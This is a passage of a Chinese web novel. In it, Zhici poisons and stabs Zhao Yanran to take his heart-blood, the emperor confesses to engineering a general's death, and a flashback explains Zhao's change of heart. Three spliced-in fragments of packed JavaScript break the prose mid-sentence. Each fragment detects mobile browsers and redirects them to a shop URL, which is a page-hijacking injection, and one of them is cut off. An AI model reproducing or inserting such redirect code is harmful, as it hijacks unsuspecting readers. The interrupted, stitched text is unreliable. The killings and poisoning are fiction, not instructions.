知慈道,“行,你既如此有诚意,那带上你也无妨。” 反正哄骗他又没代价。 知慈的思维变得天马行空,她信口开河,给赵晏然描绘起自己刚编好的行程。 “那我们第一站去西域的楼兰国。届时咱们备两匹马,白天骑马走走停停,观光周边风土人情,晚上就在客栈打尖儿。” 知慈继续道,“待到了楼兰国,若那里环境优越,我们租赁个小院,定居一段时间,享受二人时光。等什么时候呆腻了,再去下一个国家……” 知慈描述得煞有其事,仿佛接下来他们真的会踏上一段波澜壮阔又浪漫无比的旅途。 赵晏然安静听着知慈说话,眼中渐渐出现了恍惚而向往的神色。 当知慈说到‘租个小院享受二人时光’时,他似乎也被知慈描述的美好打动了,情不自禁微微笑了起来。 他拿起手中糕点,尝了一口。 知慈提起的心,终于跟着他的这个动作,放了下来。 成功了。 赵晏然马上就会毒发。 知慈心中松懈下来,起身去拿靠近赵晏然那侧的茶壶。她讲得嘴巴有些干,需要润润嗓。 然而下一瞬,赵晏然的目光顿住了。 他与知慈相对而坐,知慈一起身,衣襟便自然滑落了一点。 于是他看到了知慈锁骨处的点点红痕。 “知慈……”赵晏然有些无力地轻唤。 “怎么了?” “你脖子上有痕迹。”赵晏然凝视着知慈,周身发冷。 知慈闻言一怔,下意识想遮掩,但她生生控制住了自己,没有任何动作。 “啊,这个呀。” “你眼睛比我尖,”知慈笑了一声,“我让谢琅不要留下痕迹,他不听话。” “……什么时候的事?” 知慈道,“就昨晚,他来找我。” 赵晏然眼睛变得绝望,“所以……你们做了吗?” 知慈没回答,只讥诮地看着他。 赵晏然如坠冰窟,声音仿佛不再是自己的,“……你骗我,你背叛了我。” 知慈心不在焉道,“嗯,我骗了你。” “要带你去周游列国,也是哄你的。” 知慈垂下的手握紧藏起的匕首,依照药效,此刻赵晏然应快毒发了。 她刚才本想按计划告诉他,他中了毒武功尽失,没想到话还没说,便意外被他看见了自己同谢琅欢好的痕迹。 知慈意外一瞬,随即顺水推舟直接承认。反正都是往他心口上扎刀,多一刀效果更好。 知慈道,“做那事儿,谢琅很有天赋。别看他平日温柔又彬彬有礼,那种时候却强硬得很。” 知慈摩挲着自己的脖子,“昨夜他掐着我的脖子,故意害我窒息。那种体验真得很疯狂。” 赵晏然安静听着她讲述这些细节,良久,他低低笑了起来,“知慈,你何必呢?” “你不必这样。为了你,我什么都可以做,”他喃喃重复道,“什么都可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033372|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 赵晏然继续道,“可你知道吗,我唯独、绝对不能忍受的只有一件事,就是你心里有别人。” 话音落下,赵晏然‘铮’地抽出剑,叹息一声,“你不老实。” 知慈望着他,神色未变。 赵晏然用认真的声音说着可怕的话,“既然活着不能保证你只属于我,那我就只能杀掉你了。” “你死了,就再也无法惦记别人了。” 说着,赵晏然声音变得很温柔,“但你别害怕,我很快就下来陪你。如此一来,你便彻底属于了我,再也不会变心。” 说到这里,他似乎对自己的安排极为满意,说做就做,神色癫狂地执剑刺向知慈。 一瞬间,顶尖高手的杀意扑面而来。可知慈依旧一动不动,眉宇之间没有半分慌乱。 就在赵晏然剑尖马上触碰到知慈心脏处时,当啷一声,长剑掉在地上,而赵晏然也栽倒在地。 知慈垂眸看着赵晏然,勾起唇角。 如她所料,药效发作了。 知慈站起身,走到他的身旁。 她听见趴在地上四肢麻痹的赵晏然喘息着道,“杀……了你。” 知慈蹲了下来,“就因为我和谢琅睡了一觉,你就要杀我?那我若告诉你一个更可怕的消息,你岂不得把我千刀万剐?” “你倒下,是因为方才糕点里下了毒,毒发了,你多年练成的武功也会化为乌有。赵晏然,你又要变回一个废人了。” 知慈的话语句句诛心。 赵晏然趴在地上,知慈看不见他的表情,但知慈猜想,他的表情想必是肝肠寸断,恨毒了她。 因为他明明已经没了力气,却还声音虚弱地重复‘杀了你’。 知慈觉得时机已到,此刻的赵晏然失去一切,肝肠寸断、悲痛欲绝,正是取心头血的好时机。 于是她不再犹豫,手起刀落,拿手中匕首捅穿了赵晏然的后背。 地上的赵晏然颤栗着,伤口处涌出大量鲜血,没了动静。 知慈谨慎等了半晌,见他一动不动,又去探他鼻息。 确认他没气后,知慈拔出了匕首,费力将他身体翻转过来。 赵晏然死不瞑目,俊挺的脸庞了无生气。他双目失焦,脸上还残余着绝望疯狂的表情。 知慈无暇感伤,再次下手,将匕首扎在赵晏然的心口窝处。 刀刃深深没入皮肉,随即知慈拔出了匕首。 她将匕首贴近脸颊,轻轻用舌尖舔舐满是鲜血的刀背。 接触到赵晏然心头血的一刻,一种无法言喻的其妙气息随着她的吞咽蔓延至了她的心口。 知慈感受到身体变得前所未有的舒适,整个人都犹如脱胎换骨,畅快无比。 强烈的第六感告诉知慈,她达成了与神明的交易,重新换回了寿命和健康。 她轻轻吁了口气,可就在这时,紧锁的院门突然传来敲门声。 一瞬间,知慈神经紧绷,寒毛倒竖。 她告诉过轻鸿在外待命,不要主动过来。 此处是赵晏然的私人院落,平日不可能有人过来。自己刚刚杀掉赵晏然,就突然有人敲门。 门外的人会是谁?又有什么目的?他会坏自己的事吗? 知慈缓缓起身,捏紧手中的匕首,藏到了身后。 她来到院门前,打开了门锁,谨慎将院门拉开了一条小缝。 知慈透过门缝向外望去,随即愣住。 院外站着一个她完全没想到的人。 52. 为何而战 另一边,谢琅自离开知慈宫殿后,就收敛了所有多余的情绪。 昨日,谢琅从徐钰亲卫处得知徐钰战败的真相:构陷徐钰的幕后元凶极有可能是嘉平帝。 崩溃的谢琅找到知慈寻求慰藉。但逃避不能解决问题,徐钰一事他必须向父皇讨要一个说法了。 谢琅轻呼出一口气,揉了揉脸颊,动身向御书房方向行去。 “劳您通传,我有要事寻陛下。”谢琅同殿前太监道。 太监依言进殿通传,过了一会,引着谢琅进入御书房。 书房内,嘉平帝同每次觐见时一样,皱眉批阅着奏折。 见谢琅进来,嘉平帝抬头看他,锐利的眼睛没有半分感情,“什么事?” 谢琅道,“启禀父皇,儿臣昨日接见了徐钰的亲卫,他告诉儿臣,徐钰当年兵败另有隐情。” 嘉平帝闻言,神色严肃下来,等待着谢琅下文。 谢琅继续道,“亲卫告诉儿臣,徐钰出征前曾同副将拟定作战方案:徐钰佯败将敌军诱入山谷,副将则率军包围对方两面夹击。” “但到了第二天,副将却临阵消失了,”谢琅直视着嘉平帝,“您——知道这件事吗?” 嘉平帝神色平静,道,“你认为徐钰被他的副将陷害了?” 谢琅默认。 他已做好了准备,接下来父皇会质疑他对副将的指控,向他索要根据。他没办法拿出确凿的证据,但他已经做好了充足的逻辑推论…… 但接下来,嘉平帝的话却出乎他的意料。 “没错,徐钰的确是被他的副将构陷的。” “朕也知道你想问什么,指使副将这么做的人,就是朕。” 饶是谢琅已经做好了心理准备,但听见嘉平帝如此坦率的回答,他还是一时间难以接受。 “……为什么?” “因为徐钰找死。朕越恨什么,他越要做什么。”嘉平帝语气带了几分厌恶。 谢琅怔住。 在他的印象里,徐钰一直很敬重父皇,他曾亲口说过嘉平帝是位值得追随的明君。 这样一位忠直之臣,怎会让父皇如此厌恨? 嘉平帝道,“徐钰统帅西北军期间,每次传回的战报都要强调‘驱逐鞑靼、迎太上皇回国’。朕知道他与兴佑帝一同长大。但身为朕的臣子,他屡屡同朕强调接回兴佑帝,这不是挑衅么?” 嘉平帝继续道,“西北军将战线推回两国边境后,徐钰飞鸽传书禀报朕:鞑靼人欲建立傀儡政权,将兴佑帝秘密软禁在边境,只要他再拿下一城,就能救出兴佑帝。” 嘉平帝接着道,“朕平日不爱和他一般见识,没想到他竟真敢把兴佑帝接回来,那他便非死不可。因此,朕便授意插在徐钰军中的亲信随机应变,解决徐钰。” 皇帝没有再说,但后来的事,谢琅都知道了。 君要臣死,臣不得不死。 徐钰逃进山谷,被皇帝的亲信、信任的副将背刺,几万将士尽数被坑杀于山谷之中。 听着素来敬重的父皇坦露真实想法,谢琅难以置信。 “您不想兴佑帝回国?可您费尽周折认回了兴佑帝的女儿……您做了这么多,我以为您很敬重他?” 嘉平帝道,“是啊,只要他不回来,朕愿把他女儿视作自己的孩子宠爱,愿用最虔诚的姿态遥尊他为太上皇——而这一切的前提是,他别回国。” 谢琅还是不能理解,“所以……您吩咐亲信坑害了徐钰和几万谢国将士,就只是为了阻止兴佑帝回国?” 嘉平帝并未直接回答。 他推开座椅站起身,渡步到窗边,负手而立。 嘉平帝望着窗外道,“朕刚登基时只是权臣的傀儡,那老头同朕说,他可以选择任意皇室宗亲坐在这个位置上,选中了朕,朕该学会感恩。后来,朕忍辱负重夺回了权力,第一件事便是下令处死了那老头。” 嘉平帝转身看向谢琅,道,“你问朕这就是杀徐钰的理由?没错,这是事关朕生死的理由。慈不掌兵,权力斗争瞬息万变,朕不狠下心,等徐钰把兴佑帝接回来后,死的就是朕。” 谢琅反驳道,“可徐钰是忠臣!儿臣拿性命担保,徐钰他对您绝无二心。他只是不想君主流落在外、不想谢国的尊严被践踏,他从没想过让兴佑帝将您取而代之。” 嘉平帝回头瞧他半晌,叹息道,“你这小儿,真是天真。” 嘉平帝道,“兴佑帝是一面旗帜,一个能对抗朕的阵营。无论徐钰初衷如何,只要兴佑帝回国,就必然有臣子为谋求利益聚集到兴佑帝身边,煽动其将朕取而代之。” 嘉平帝继续道,“所以徐钰是忠是奸根本不重要,只要他将兴佑帝接回国,朝中局势便不再受控。因此徐钰必须死。” 谢琅反驳,“可您怎知兴佑帝便一定想要皇位呢?即使再多人拥护他,也得他本人愿意。也许兴佑帝自知能力不足,兄友弟恭自请让位呢?何必如此赶尽杀绝?” 嘉平帝嗤笑,“过往历史早已给出无数教训,只有傻瓜才将命运押注于敌人的仁慈。权力斗争你死我活,对敌人手软,就是对自己残忍。” 嘉平帝泄出一丝鄙夷,继续道,“何况,兴佑在位期间的荒唐事已经证明了他的无能。让这种昏庸之徒上位,只会造成更多百姓家破人亡,朕凭什么留机会给这种废物?!” 谢琅的心渐渐下沉。 “那死掉的上万将士和百姓呢?您满嘴身不由己,可从始至终,您为何不考虑死去的普通人?他们就活该为您的权力斗争牺牲么?就没有别的能不牺牲他们的办法吗?” 谢琅一连串质问让嘉平帝沉默下来。 御书房里静可闻针,更显外面的蝉鸣聒噪。 谢琅紧紧盯着嘉平帝,这是他这辈子第一次没有任何仰视意味地注视他的父亲。 就在谢琅以为嘉平帝不会再回答时,嘉平帝开口了。 “有。” “朕承认,确实有别的办法能不牺牲这么多人就阻止徐钰。” 谢琅道,“那你——” 嘉平帝打断他,“——但战场局势瞬息万变,想保全的东西越多,出现意外的风险也就越大,朕的选择的确不是最好的办法,却是最稳妥的办法。” “皇位之争,朕只求稳妥。” 说到这里,嘉平帝目露精光,“威胁到朕的皇位,莫说徐钰军队杀得,便是天下万民,朕也杀得。” 听到嘉平帝这番言论,谢琅瞠目结舌。他的父皇,他最为敬重和崇拜的长辈,竟能说出如此冷酷又无耻的话来。 谢琅心中英明父君的形象突然就崩塌了。 “怎么可能……” 嘉平帝道,“有什么不可能?” 谢琅崩溃了,他像抓住救命稻草般问道,“父皇,这是您给我的考验吗?您故意把自己说得如此不堪,是在考验我?” “……嗯?”嘉平帝皱起眉,第一次露出不解的表情。 谢琅努力组织语言,自欺欺人般替嘉平帝辩解,“不该是这样……您明明是个勤政爱民的好皇帝,为何要把自己说的如此不堪?” 谢琅像在寻求嘉平帝的肯定,又像在说服自己,“上次清剿白巾教,您亲自到养济院慰问战士,那是假的吗?得知孟强鱼肉百姓后,您立刻将他抓捕,那也是假的吗?” 嘉平帝道,“那自然都是真的。” 闻言,谢琅心中重新燃起了一点希望。 嘉平帝继续道,“只有得民心,人们才会拥护朕,朕的皇位才会稳固;同样,为了稳固皇位,牺牲一部分子民有时是必要的。” “……所以您爱百姓,只是为了巩固统治,而非真的把百姓视为手足同胞?” 这一次,嘉平帝没有再回答他。 谢琅觉得这一切都太过荒谬,“不对!如果您说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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士兵迟疑了,似乎觉得羞于启齿,扭捏半晌才答复道,“……没有,前两年西南边境局势平稳,我们没什么打仗的机会,”像是为了找补,小兵又道,“……但是这次检阅之后,我们便会直接奔赴战场!” 谢琅知道他指的是什么——半月前,西南边境来报,安南国发生内战,出于边境安全考虑,嘉平帝令西南军发兵协助安南国平叛。 士兵继续道,“大部分战友已经上前线了,等检阅结束后,我们也会直接赶赴交织参战。” 谢琅看着眼前的士兵,心中不解。 战场九死一生,如果他们马上上战场,那便意味着他们很有可能马上死亡。可究竟是怎样的信念,才能让这些年轻的士兵甘愿为之付出生命? “……你上战场,为何而战呢?”谢琅说完,才意识到自己下意识将心中所想问了出来。 听见谢琅的问题,其他士兵也侧目向二人望了过来。 被问到的士兵有些茫然,“为国而战,难道不是天经地义?” 他身侧,另一个骄傲的少年兵忍不住接话。 “安南国本就是我们的一个下辖行省,若非北方连年战乱,安南国早就该重新并入大谢版图,我上战场,自然是为捍卫大谢国荣耀而战。” ……荣耀? 又一士兵也按耐不住表达欲了。他语带崇拜道,“嘉平帝陛下爱民如子,赐予万千百姓和平富足的生活。作为嘉平帝的子民,我们自然应该忠诚地追随陛下,为嘉平帝而战。” 谢琅道,“可你若死了呢?” 那士兵没有半点犹豫,他挺直了胸膛道,“投躯报明主,身死为国殇。能为陛下战死,那是我的荣耀。” 望着眼前年轻士兵坚定兴奋、充满理想的脸,谢琅耳边再次响起嘉平帝对他说‘天下万民,朕也杀得’的声音。 谢琅觉得身体有些发冷。 夏日艳阳高照,彩排还在继续进行。谢琅身侧的队伍开始移动前行,只有谢琅站在原地,一动不动。 53. 真相·上 另一边,枣花街。 院内,知慈听着院外响起的敲门声,心中惊疑不定。 知慈权衡片刻,离开内室,仔细关上了门,然后来到了院门口。 她将院门的反锁解开,小心翼翼将门向内拉开一条小缝。 她肌肉绷紧,蓄势待发,打算稍有不对,便唤隔壁轻鸿过来杀他灭口。 然而,当知慈看见门外的人面庞时,她愣住了。 对方竟是很久以前在路府相识的一位故人。 “张小功?怎么……是你?” 只见眼前的人正是当初在路府时,与自己关系很好的护院,张小功。 知慈非常意外,怎么也没想到会在这样的场合偶遇他。 看见知慈,张小功毫不意外,他平静道,“知慈,好久不见。” “你有什么事?”知慈依然不敢放松警惕。 张小功道,“我来帮你,处理赵晏然的尸体。” 一瞬间,知慈戒心大起:赵晏然当初开除了张小功后,二人便无交集,此刻张小功怎会与赵晏然扯上关系?何况赵晏然才刚死,他从哪得了消息? “我听不懂你的意思。”知慈冷声道。 张小功放缓了语气,“你别紧张,我是来帮你的。” “帮我?”知慈怀疑道。 张小功解释道,“如今我在赵晏然麾下效命。赵晏然知道今日他是他的死期,特地命我过来帮你处理谋杀现场,让人不会怀疑到你头上。” 闻言,知慈如遭雷击,动弹不得。 赵晏然早就知道自己在给他下毒? 可他怎么会知道?还有,若他早就知道,又为何装作若无其事地配合她服毒呢? 对面,张小功道,“我知道你有很多疑问,别急,我全都会告诉你。” 张小功道,“三年前,我与赵晏然分配到了同一个军营,成了战友。那时前线常有鞑靼人在水源中下毒,毒药无色无味,下在水中却能使人神经麻痹,动弹不得。” “一次偶然,晏然和我们营中另一个伙夫误饮有毒水源,险些丧命。晏然被救回之后领着我们攻破了对方的大本营,并勒令对方交代清楚下毒的事。” “性命相逼下,鞑靼俘虏如数相告。原来他们所下毒药是鞑靼地区特产的草药朱砂草,这种草药汁液无色无味、奇毒无比,单独使用便能药倒九尺大汉,与其他草药混合更是能让绝顶高手武功尽失。” “随即,鞑靼俘虏又告诉我们,朱砂草毒并非没有防范之法——鞑靼人从小就会服用寄生在朱砂草之上的一种菌子,服用后,原本无色无味的朱砂草闻起来就变得气味刺鼻,向他们警示危险。” “于是我们抢走了对方库存的所有菌子,分给了军队里的兄弟。从那之后,我们军中所有人都能一眼识别出下过朱砂草的水源和食物。” 张小功冲知慈点了点头,“知慈,你给赵晏然所下的毒药中,也含有朱砂草成分。” 知慈呆住。 神明让自己给赵晏然下毒,赠与的却是一瓶赵晏然立刻便能察觉的毒药。 这是神明同自己所开的玩笑? 可令知慈更加疑惑的是,赵晏然既然知道有毒,为什么还要面不改色地服下? 另一边,张小功继续道,“晏然担忧死后牵连到你,所以早早嘱托了我,一旦他出了事,我便要负责帮你善后。” 知慈心中充斥着疑惑不解的情绪。 为什么? 赵晏然知道自己下毒,却配合地服下,甚至死后还要让人帮她善后。 可他如果早知自己要杀他,方才又为何那般愤怒——那一瞬间的杀意绝对伪装不来,他是真的想让自己死。 知慈抹了把脸,脸颊湿湿的,她这才察觉,自己竟不知不觉流下泪来。 她陷入深深的困惑之中。 - 三年前。 北方前线战场。 谢军大营,赵晏然挥拳殴打了总旗,营地内所有人都对他怒目相视。 赵晏然不愿道歉,直接离开了驻扎地,却正好遇见了一队勘察的鞑靼士兵。 他没有躲藏,迎敌而上,杀死了大部分鞑靼士兵。 然而就在只剩最后一个敌人时,赵晏然突然浑身无力,跪倒在地。 赵晏然想起方才在营中喝了一碗水,明白了水中有毒。 但为时已晚,他再无力将剑刺入更深一分,只能眼睁睁看着对面鞑靼人挥刀向自己劈下。 赵晏然脑海一片空白,下意识闭上了眼,过往种种仿佛走马灯在他脑海中闪回。 但下一刻,预想中的剧痛没有来临。 赵晏然茫然地睁开眼,看到鞑靼人睁着眼捂腹部的伤口,然后仰倒摔在地上,彻底断了气。 原来,赵晏然方才砍鞑靼人的伤口极深,对方未能坚持到杀了赵晏然,便咽了气。 赵晏然心神一松,身体晃了晃,也倒在了雪地上。 暴雪的夜晚,赵晏然四肢麻木,动弹不得,只能忍受着寒冷一点点剥夺他的生命。 这样下去,不出两个时辰,他就会被冻死。 他愈发困倦,刺骨到麻木的寒冷让他只想伴着呼啸的风声入睡。 但他很清楚,闭上眼睛,便再也睁不开了。 此处地势偏僻,夜色已深,营中战友都已睡下,不会有人发现他受了伤;何况即使他们知道他出事,也不会来寻他。 他将在这里被冻死。 不过……这样也好。 赵晏然心想,如果能就此睡去,他便从失去知慈的痛苦中解脱了。 赵晏然眼前看到了漂浮的白光,他已经分不出这是眼前真实的景象,还是他大脑中产生的幻觉。 他看见知慈站在白光中注视着他。 “别睡,赵晏然,醒醒。”她逆着光唤他。 赵晏然望着知慈被白光笼罩的五官,轻声呓语。 “你来接我了吗?” 他努力想看清迷雾中令他魂牵梦萦的人,但他越是努力,知慈的面目救越模糊。 “……我很想你。”赵晏然哽咽道。 白光中的知慈没有回应。 于是赵晏然低低笑了起来,“……我又开始痴心妄想了。你根本不可能原谅我。” 他痴然凝视着眼前的幻象,即使明知是幻觉,他也舍不得移开视线。 良久,赵晏然轻声开口,说出了内心深处最隐秘、也最恐惧的执念,“其实我一直都很清楚,杀死你的不是鞑靼人,而是……我。” 赵晏然深吸一口气,方才得以支撑着勇气继续道,“是我太虚荣傲慢,才害你深夜跑出家门横遭意外。如今我把仇恨算在鞑靼人头上,不过是在逃避罪责。” “可其实我很清楚,即使杀光这世上的鞑靼人,你也不会原谅我,对么。” 赵晏然又沉默了下来。 眼见白光明明灭灭,知慈的身影也渐渐变得模糊。 “赵晏然!” 就在这时,有人大喊。 赵晏然猛地惊醒。 他环顾四周,发现自己躺在一个山洞中,旁边燃着一簇篝火,篝火对面坐着一个人。 赵晏然瞳仁聚焦,终于瞧见了那人的模样。 是与他同一军营的张伙夫。 张伙夫见赵晏然睁眼,道,“你醒了?你身体快冻僵了,烤一会火把,等你身体恢复差不多了,咱们回营地。” 赵晏然虚弱地点点头。 身边的篝火十分温暖,让他麻木的身体渐渐有了知觉。 赵晏然感受到自己身上中的毒已解去不少,能小幅度动作了。 张伙夫见他好转,忍不住语带讥讽,“你真是个祸害,白天差点害死小李,晚上又擅自离营,害得我们大冷天多走几十里来寻你。” 赵晏然没有力气说话,他躺在地上,静静听着对方的指责。 “方才老孙倒地动弹不了,大家才发现水源有问题。你谢谢老孙吧,他都中毒了,还念叨着你喝了他打的水,要不你就真被忘在雪地了。” 赵晏然听着他说话,不知不觉又恢复了些许力气。 他沙哑开口,“张小功,你为什么来救我?” 张伙夫——张小功不说话了。 赵晏然和张小功隶属同一军营,张小功在营地担任炊事兵。 二人虽然相识,但因为之前在路府赵晏然辞退张小功一事,张小功从不和他说话。 至于赵晏然,他本就瞧不上张小功,更是直接对他视而不见。 所以赵晏然从没想过冰天雪地的深夜中,张小功会徒步几十里搜救自己。 张小功不愿承认关心赵晏然,不太自然地刻薄道,“……不救你,难道还跟你一样,看着战友去死吗。” 赵晏然静默片刻。 随即,他开口道,“张小功,离开路府后,你过得怎么样?” “……呵。”张小功闻言,冷笑一声。 张小功道,“离开路府后,我又找了份差事,但距家很远。我娘常年卧床,早晚都需要我伺候她按摩,换了差事后,我必须寅时起床给她换药,算下来每天只能睡两个时辰。” 张小功语气阴阳怪气,“——而这些,都拜你所赐。” 赵晏然默然。 见赵晏然不说话,张小功反而打开了话匣。 “当初你开除我的理由是习武态度有问题。可我早上给我娘按摩,晚上回家给我弟弟妹妹做饭,饭后还要继续照顾我娘,忙完这些已近深夜,每天倒头就睡第二天又得早起,哪有额外的练功时间?” 张小功越说越来气,“赵晏然,这世上不是每个人都能像你一样从小就在最顶尖的门派里习武,除了练武不需要操心任何事。你以不努力为由把我辞退,可我难道还能将我娘和我弟弟妹妹都不管了不成?” 说到这里,张小功长长呼出一口气,平复心情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050353|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你既然怨我,又何必来救我?”赵晏然道。 张小功不说话了。 半晌,他方才开口道,“个人恩怨怎能和国仇家恨相提并论?你虽傲慢又招人恨,但终归自己人;而鞑靼人发动战争,害我无法再母亲面前尽孝,这样的血海深仇才真正不死不休。” 赵晏然听着,心中五味杂陈。 “那时的事,抱歉。” 张小功叹了口气,“……都过去了。你若真有心,还是去给总旗道个歉吧。你打了总旗,但他没和你计较,得知你出事便立刻组织大家找你。” “大家都在找我?”赵晏然很意外。 “是啊,总旗命老孙向南搜救,白土向东,刘方云向北,而我向西。眼下找到了你,你休息片刻,我们便返程吧。” 赵晏然说不出话来。 他下午将李树林抛在了雪地里,自己做了这样过分的事,他们为什么还会救自己? 他把他们视同草芥,可他们却依旧把自己当做战友。 赵晏然道,“能给我讲讲咱们营里这些人吗。” 张小功意外地瞥他一眼,随即哼笑一声,“难得。” 张小功道,“你想听什么?” “什么都行。” 于是张小功从善如流,耐心给赵晏然讲起了他们每个战友的生平、性格。 赵晏然认真倾听。 从前他从不和这些战友打交道。但随着张小功的讲述,这些他朝夕相处却不熟悉的同伴,逐渐变得形象清晰起来。 他们都是好人,赵晏然心想,比自己人品强太多了。 他心中愧疚和感动的情绪交织,不知何以为报。 长久以来,赵晏然不断被一个问题困扰——他到底为何而战? 八岁时,县里征兵队拉壮丁,知县孟强打出的口号是‘为谢国而战’。 可年幼的赵晏然记得清楚,那时孟强在台上慷慨激昂地演讲,但他十八岁的儿子从始至终都没去前线。 后来,赵晏然父母死了,没有一个乡亲肯替他爹娘说话。 赵晏然望着孟强狂妄的嘴脸、乡亲们闪避的目光,失望之余,他怀着失望和愤恨拜入上清。 那时的他渴望力量,只为自己而战。 再后来,知慈死了,他悔之晚矣,于是上了战场不顾命地杀敌,想借此逃避痛苦,推卸害死知慈的过错。 那时的他,就是一具行尸走肉,只为仇恨而战。 可这些……真得是他所求之道吗? 自赵晏然因青牛观的意外瘫痪后,他就一直很茫然: 他已将剑术练至顶尖,可是只要老天爷想,他就会立刻瘫痪;只要老天爷想,他就只能眼睁睁看爱人死去而无能为力。 如果他已经追逐到了强大的力量,却依旧无法掌控他和所爱之人的命运,那他执剑的意义到底是什么? 此刻,听着张小功对战友们的描述,一种熟悉的、感动又愧疚的情感再度涌上了赵晏然心头。 他突然发现,其实答案早已摆在了他的面前—— 那是他刚刚从瘫痪中痊愈的时候。那时所有人都弃他而去,他心中怨恨无比。但下一刻,他却在外室看到为了陪护自己蜷缩睡去的知慈。 赵晏然非常不解,明明自己已经成了废人,毫无价值,可她为什么还不离开? 那是赵晏然第一次发现,原来这世上并非所有人畏强欺弱、捧高踩低。也是他第一次感受到,即使他不够好,也会有人在意他,珍视他。 那一刻,赵晏然隐约找到了他真正想追求的东西—— 不是强大的力量,也不是让人畏惧的武力和权势。而是被在乎,被接纳,被包容,被爱。 回到此刻,战友们带给赵晏然的冲击,和当初一模一样。 他终于知道自己该为何而战了。 他本该为保护所爱之人而战。 另一边,张小功还在耐心地同他讲述着战友们的生平。 随着他的叙述,这些面目模糊的战友,在赵晏然脑海中变成了一个个有血有肉、活生生的人。 赵晏然突然升起一个强烈的念头。 他虽然再也救不回知慈了,但他还可以用自己的武功,挽救这些和知慈处境相似的好人,阻止类似悲剧的发生。 想到这里,赵晏然缓缓坐起身。虽然他尚有些头晕,但体力已经恢复了不少。 张小功见他突然起身,问道,“怎么了?” 赵晏然道,“我有办法,能带大家扭转战局。” 虽然如今他们被鞑靼人困于山中,但如果能集结起来,由他打头阵冲锋突围,未必没有胜算。 赵晏然拿起手边的长剑,缓缓拔剑出鞘。 这一次,他的手平稳无比。 因为他终于找到自己的道心—— 他为拯救弱小者而战,为保护战友和同伴而战。 他为了深深爱着的知慈而战。 54. 真相·下 赵晏然说到做到,回营之后他向众人说出自己的想法。 众人将信将疑,但有办法总比等死好,于是在赵晏然的带领下,战友们突出重围,竟真扭转战局,奇迹般捣毁了鞑靼人的大本营。 鞑靼人被俘后,赵晏然勒令对方一五一十供出水源下毒之事,随即服下寄生菌子,获得了对朱砂草的辨别力。 那之后,赵晏然性情大变,开始亲近同伴,在战场上真正把战友们视作兄弟。 也因此,战友们对赵晏然的印象大为改观,渐渐开始主动接纳他,支持他。 数月后,营中的总旗意外战死,赵晏然接替其职,率领众将士打赢多场战役,立功无数,未过多久便被提拔为高级将领,统领麾下千余名士兵。 时间来到第二年秋天,因为徐钰军队惨败,西北方鞑靼军队迅速反扑。前线不少被徐钰收复的城池再次被鞑靼人被攻占。 赵晏然接到上级将领命令,率军奔赴徐钰之前的战线,顶住西北部鞑靼方面的反扑。 赵晏然来到西北前线黄土城。再向北的城池均已沦陷,黄土城作为鞑靼接下来的进攻目标,岌岌可危。 然而,当他们一路风尘,准备进城时,诸多百姓却将战士们堵在了城门口。 “这里不欢迎你们,给我们滚!” 百姓对他们怒目而视,甚至朝他们扔臭鸡蛋。 见城内百姓如此反感,将士们困惑而愤怒:他们来守护黄土城,为何会遭到抵触? 赵晏然道,“你们知府呢?” 人群中走出一官员道,“在下便是黄土城知府。赵将军,您的信我已收到,可鞑靼方面开出了更稳妥的条件,还请你们离开吧。” 原来早在几日之前,鞑靼大军便遣使来信,声称只要黄土城城门打开、不做抵抗,鞑靼军队接管城池后就不会伤害城内一草一木。 黄土城百姓们并不相信鞑靼的承诺,因为上次鞑靼攻占黄土城后便大肆烧杀,状若土匪。但抱着‘上次都能活这次也轮不到我死’的心理,大部分人还是选择放弃抵抗。 此外,更重要的理由是,燕州军兵力只有数千人,对上鞑靼大军如同螳臂当车,只会激怒鞑靼部队。 在有几率活和一定会死之间,黄土城的百姓们选择了前者。 所以在他们看来,想入驻黄土城的谢国军人完全就是他们的仇人。 “谢国养了你们这群酒囊饭袋,屡战屡败,如今又想来害我们性命?” 就在人们对将士们破口大骂时,人群中出现了一个不和谐的声音。 一个皮肤黝黑书生打扮的少年道,“燕州军无论如何都是自己人,你们想投敌才是死路一条吧。” “李文武,你想害死我们?!”周围人闻言,皆对那少年怒目而视,把他的声音压了下去。 对面,赵晏然等人见群众抵触异常,无奈之下只能先率兵撤出黄土城。 众将来到城外。 一将领怒道,“一群刁民,地狱无门偏来投。” 另一将领道,“这些普通民众消息闭塞,不知鞑靼人有多灭绝人性。” 原来,因为之前徐钰夺回不少鞑靼占领的城池,所以鞑靼人二次进攻时再不留任何余地,每占领一座城池就会直接屠城,没有例外。 为了提高攻城效率,鞑靼人最常用的手段就是先给城市送劝降书,等城门打开时,鞑靼人便立刻撕毁约定屠城。 所以黄土城百姓的决策无异于自找死路。 这时又一将领说话,“那也不能不管他们啊!黄土城百姓也是谢国子民,无论如何也不能放弃他们啊。” 这个将领老家在黄土城,想到自己的父母家乡将被残害,他心急如焚。 众人还未抱怨几句,远方平原出现了黑压压的一片颜色。 鞑靼军队居然现在就来了。 “这……怎么办?是走还是留?” 众将争论不休,眼见再也没时间犹豫,众人皆看向赵晏然,希望他拍板定个注意。 